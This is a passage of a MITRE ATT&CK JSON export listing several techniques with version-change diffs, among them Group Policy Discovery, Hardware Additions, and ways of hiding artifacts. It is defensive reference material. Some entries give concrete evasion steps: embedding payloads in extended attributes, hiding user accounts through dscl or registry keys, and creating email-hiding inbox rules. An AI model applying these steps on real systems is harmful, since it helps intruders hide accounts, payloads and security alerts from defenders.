"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1615",
"external_id": "T1615"
},
{
"source_name": "ADSecurity GPO Persistence 2016",
"description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.",
"url": "https://adsecurity.org/?p=2716"
},
{
"source_name": "Microsoft gpresult",
"description": "Microsoft. (2017, October 16). gpresult. Retrieved August 6, 2021.",
"url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult"
},
{
"source_name": "Github PowerShell Empire",
"description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
"url": "https://github.com/PowerShellEmpire/Empire"
},
{
"source_name": "TechNet Group Policy Basics",
"description": "srachui. (2012, February 13). Group Policy Basics \u2013 Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.",
"url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Ted Samuels, Rapid7",
"Jonhnathan Ribeiro, 3CORESec, @_w0rk3r"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Script: Script Execution\", \"Active Directory: Active Directory Object Access\", \"Process: Process Creation\", \"Command: Command Execution\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:28.148000+00:00\", \"old_value\": \"2025-04-15 22:38:54.812000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nMonitor for suspicious use of gpresult. Monitor for the use of PowerShell functions such as Get-DomainGPO and Get-DomainGPOLocalGroup and processes spawning with command-line arguments containing GPOLocalGroup.\\n\\nMonitor for abnormal LDAP queries with filters for groupPolicyContainer and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n-\\n-Monitor for suspicious use of gpresult. Monitor for the use of PowerShell functions such as Get-DomainGPO and Get-DomainGPOLocalGroup and processes spawning with command-line arguments containing GPOLocalGroup.\\n-\\n-Monitor for abnormal LDAP queries with filters for groupPolicyContainer and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0012: Script (Script Execution)",
"DS0017: Command (Command Execution)",
"DS0026: Active Directory (Active Directory Object Access)",
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0055: Detection strategy for Group Policy Discovery on Windows"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2018-04-18 17:59:24.739000+00:00",
"modified": "2025-10-24 17:49:26.803000+00:00",
"name": "Hardware Additions",
"description": "Adversaries may physically introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.\n\nWhile public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)), keystroke injection, kernel memory reading via DMA, addition of new wireless access points to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan Pwn March 2012)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "initial-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1200",
"external_id": "T1200"
},
{
"source_name": "Ossmann Star Feb 2011",
"description": "Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018.",
"url": "https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html"
},
{
"source_name": "Aleks Weapons Nov 2015",
"description": "Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018.",
"url": "https://www.youtube.com/watch?v=lDvf4ScWbcQ"
},
{
"source_name": "McMillan Pwn March 2012",
"description": "Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018.",
"url": "https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/"
},
{
"source_name": "Frisk DMA August 2016",
"description": "Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018.",
"url": "https://www.youtube.com/watch?v=fXthwl6ShOg"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Linux",
"macOS"
],
"x_mitre_version": "1.7",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Drive: Drive Creation\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:26.803000+00:00\", \"old_value\": \"2025-04-15 19:59:11.434000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. \\n\\nEndpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. \\n-\\n-Endpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.\"}}}",
"previous_version": "1.7",
"changelog_mitigations": {
"shared": [
"M1034: Limit Hardware Installation",
"M1035: Limit Access to Resource Over Network"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0015: Application Log (Application Log Content)",
"DS0016: Drive (Drive Creation)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0069: Detect unauthorized or suspicious Hardware Additions (USB/Thunderbolt/Network)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-26 17:41:25.933000+00:00",
"modified": "2025-10-24 17:48:31.407000+00:00",
"name": "Hide Artifacts",
"description": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1564",
"external_id": "T1564"
},
{
"source_name": "Cybereason OSX Pirrit",
"description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.",
"url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf"
},
{
"source_name": "MalwareBytes ADS July 2015",
"description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.",
"url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/"
},
{
"source_name": "Sofacy Komplex Trojan",
"description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
"url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
},
{
"source_name": "Sophos Ragnar May 2020",
"description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.",
"url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Office Suite",
"Windows",
"macOS",
"ESXi"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\", \"Application Log: Application Log Content\", \"Process: Process Creation\", \"Command: Command Execution\", \"File: File Modification\", \"Firmware: Firmware Modification\", \"Service: Service Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Script: Script Execution\", \"User Account: User Account Creation\", \"Process: OS API Execution\", \"User Account: User Account Metadata\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:31.407000+00:00\", \"old_value\": \"2025-04-15 21:39:52.216000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. Monitor the file system and shell commands for hidden attribute usage.\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1013: Application Developer Guidance",
"M1033: Limit Software Installation",
"M1047: Audit",
"M1049: Antivirus/Antimalware"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0001: Firmware (Firmware Modification)",
"DS0002: User Account (User Account Creation)",
"DS0002: User Account (User Account Metadata)",
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0012: Script (Script Execution)",
"DS0015: Application Log (Application Log Content)",
"DS0017: Command (Command Execution)",
"DS0019: Service (Service Creation)",
"DS0022: File (File Creation)",
"DS0022: File (File Metadata)",
"DS0022: File (File Modification)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0502: Detection Strategy for Hidden Artifacts Across Platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-06-07 13:20:23.767000+00:00",
"modified": "2025-10-24 17:48:23.364000+00:00",
"name": "Email Hiding Rules",
"description": "Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)\n\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1564/008",
"external_id": "T1564.008"
},
{
"source_name": "MacOS Email Rules",
"description": "Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021.",
"url": "https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac"
},
{
"source_name": "Microsoft BEC Campaign",
"description": "Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021.",
"url": "https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/"
},
{
"source_name": "Microsoft Mail Flow Rules 2023",
"description": "Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.",
"url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules"
},
{
"source_name": "Microsoft Inbox Rules",
"description": "Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021.",
"url": "https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59"
},
{
"source_name": "Microsoft New-InboxRule",
"description": "Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021.",
"url": "https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps"
},
{
"source_name": "Microsoft Set-InboxRule",
"description": "Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021.",
"url": "https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps"
},
{
"source_name": "Microsoft Cloud App Security",
"description": "Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021.",
"url": "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Dor Edry, Microsoft",
"Liran Ravich, CardinalOps"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Linux",
"macOS",
"Office Suite"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Application Log: Application Log Content\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:23.364000+00:00\", \"old_value\": \"2025-04-15 22:27:09.849000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries.\\n\\nOn Windows systems, monitor for creation of suspicious inbox rules through the use of the New-InboxRule and Set-InboxRule PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the RulesActiveState.plist, SyncedRules.plist, UnsyncedRules.plist, and MessageRules.plist files.(Citation: MacOS Email Rules)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries.\\n-\\n-On Windows systems, monitor for creation of suspicious inbox rules through the use of the New-InboxRule and Set-InboxRule PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the RulesActiveState.plist, SyncedRules.plist, UnsyncedRules.plist, and MessageRules.plist files.(Citation: MacOS Email Rules)\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0015: Application Log (Application Log Content)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0192: Detection Strategy for Email Hiding Rules"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--762e6f29-a62f-4d96-91ed-d0073181431f",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2025-03-27 19:40:00.716000+00:00",
"modified": "2025-09-17 17:58:26.729000+00:00",
"name": "Extended Attributes",
"description": "Adversaries may abuse extended attributes (xattrs) on macOS and Linux to hide their malicious data in order to evade detection. Extended attributes are key-value pairs of file and directory metadata used by both macOS and Linux. They are not visible through standard tools like `Finder`, `ls`, or `cat` and require utilities such as `xattr` (macOS) or `getfattr` (Linux) for inspection. Operating systems and applications use xattrs for tagging, integrity checks, and access control. On Linux, xattrs are organized into namespaces such as `user.` (user permissions), `trusted.` (root permissions), `security.`, and `system.`, each with specific permissions. On macOS, xattrs are flat strings without namespace prefixes, commonly prefixed with `com.apple.*` (e.g., `com.apple.quarantine`, `com.apple.metadata:_kMDItemUserTags`) and used by system features like Gatekeeper and Spotlight.(Citation: Establishing persistence using extended attributes on Linux)\n\nAn adversary may leverage xattrs by embedding a second-stage payload into the extended attribute of a legitimate file. On macOS, a payload can be embedded into a custom attribute using the `xattr` command. A separate loader can retrieve the attribute with `xattr -p`, decode the content, and execute it using a scripting interpreter. On Linux, an adversary may use `setfattr` to write a payload into the `user.` namespace of a legitimate file. A loader script can later extract the payload with `getfattr --only-values`, decode it, and execute it using bash or another interpreter. In both cases, because the primary file content remains unchanged, security tools and integrity checks that do not inspect extended attributes will observe the original file hash, allowing the malicious payload to evade detection.(Citation: Low GroupIB xattrs nov 2024)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1564/014",
"external_id": "T1564.014"
},
{
"source_name": "Establishing persistence using extended attributes on Linux",
"description": "Irem Kuyucu. (2024, August 6). Establishing persistence using extended attributes on Linux. Retrieved March 27, 2025.",
"url": "https://kernal.eu/posts/linux-xattr-persistence/"
},
{
"source_name": "Low GroupIB xattrs nov 2024",
"description": "Sharmine Low. (2024, November 13). Stealthy Attributes of Lazarus APT Group: Evading Detection with Extended Attributes. Retrieved March 27, 2025.",
"url": "https://www.group-ib.com/blog/stealthy-attributes-of-apt-lazarus/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Sharmine Low, Group-IB",
"Rouven Bissinger (SySS GmbH)",
"RoseSecurity"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Metadata\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-09-17 17:58:26.729000+00:00\", \"old_value\": \"2025-04-15 19:58:42.110000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Irem Kuyucu. (2024, August 6). Establishing persistence using extended attributes on Linux. Retrieved March 27, 2025.\", \"old_value\": \"kernel Community. (2024). Establishing persistence using extended attributes on Linux. Retrieved March 27, 2025.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1040: Behavior Prevention on Endpoint"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0406: Detection Strategy for Extended Attributes Abuse"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-06-28 22:55:55.719000+00:00",
"modified": "2025-10-24 17:49:29.855000+00:00",
"name": "Hidden File System",
"description": "Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)\n\nAdversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1564/005",
"external_id": "T1564.005"
},
{
"source_name": "MalwareTech VFS Nov 2014",
"description": "Hutchins, M. (2014, November 28). Virtual File Systems for Beginners. Retrieved June 22, 2020.",
"url": "https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html"
},
{
"source_name": "FireEye Bootkits",
"description": "Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.",
"url": "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html"
},
{
"source_name": "ESET ComRAT May 2020",
"description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.",
"url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf"
},
{
"source_name": "Kaspersky Equation QA",
"description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.",
"url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Firmware: Firmware Modification\", \"File: File Modification\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:29.855000+00:00\", \"old_value\": \"2025-04-25 14:48:18.639000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting the use of a hidden file system may be exceptionally difficult depending on the implementation. Emphasis may be placed on detecting related aspects of the adversary lifecycle, such as how malware interacts with the hidden file system or how a hidden file system is loaded. Consider looking for anomalous interactions with the Registry or with a particular file on disk. Likewise, if the hidden file system is loaded on boot from reserved disk space, consider shifting focus to detecting [Bootkit](https://attack.mitre.org/techniques/T1542/003) activity.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0001: Firmware (Firmware Modification)",
"DS0022: File (File Modification)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0461: Detection Strategy for Hidden File System Abuse"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-13 20:12:40.876000+00:00",
"modified": "2025-10-24 17:49:05.113000+00:00",
"name": "Hidden Users",
"description": "Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users. \n\nIn macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value Hide500Users to TRUE in the /Library/Preferences/com.apple.loginwindow plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the Hide500Users key value is set to TRUE, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the dscl utility to create hidden user accounts by setting the IsHidden attribute to 1. Adversaries can also hide a user\u2019s home folder by changing the chflags to hidden.(Citation: Apple Support Hide a User Account) \n\nAdversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList Registry key value to 0 for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)\n\nOn Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the gsettings command (ex: sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1564/002",
"external_id": "T1564.002"
},
{
"source_name": "Cybereason OSX Pirrit",
"description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.",
"url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf"
},
{
"source_name": "Apple Support Hide a User Account",
"description": "Apple. (2020, November 30). Hide a user account in macOS. Retrieved December 10, 2021.",
"url": "https://support.apple.com/en-us/HT203998"
},
{
"source_name": "FireEye SMOKEDHAM June 2021",
"description": "FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate\u2019s Supply Chain Software Compromise. Retrieved September 22, 2021.",
"url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html"
},
{
"source_name": "Hide GDM User Accounts",
"description": "Ji Mingkui. (2021, June 17). How to Hide All The User Accounts in Ubuntu 20.04, 21.04 Login Screen. Retrieved March 15, 2022.",
"url": "https://ubuntuhandbook.org/index.php/2021/06/hide-user-accounts-ubuntu-20-04-login-screen/"
},
{
"source_name": "US-CERT TA18-074A",
"description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
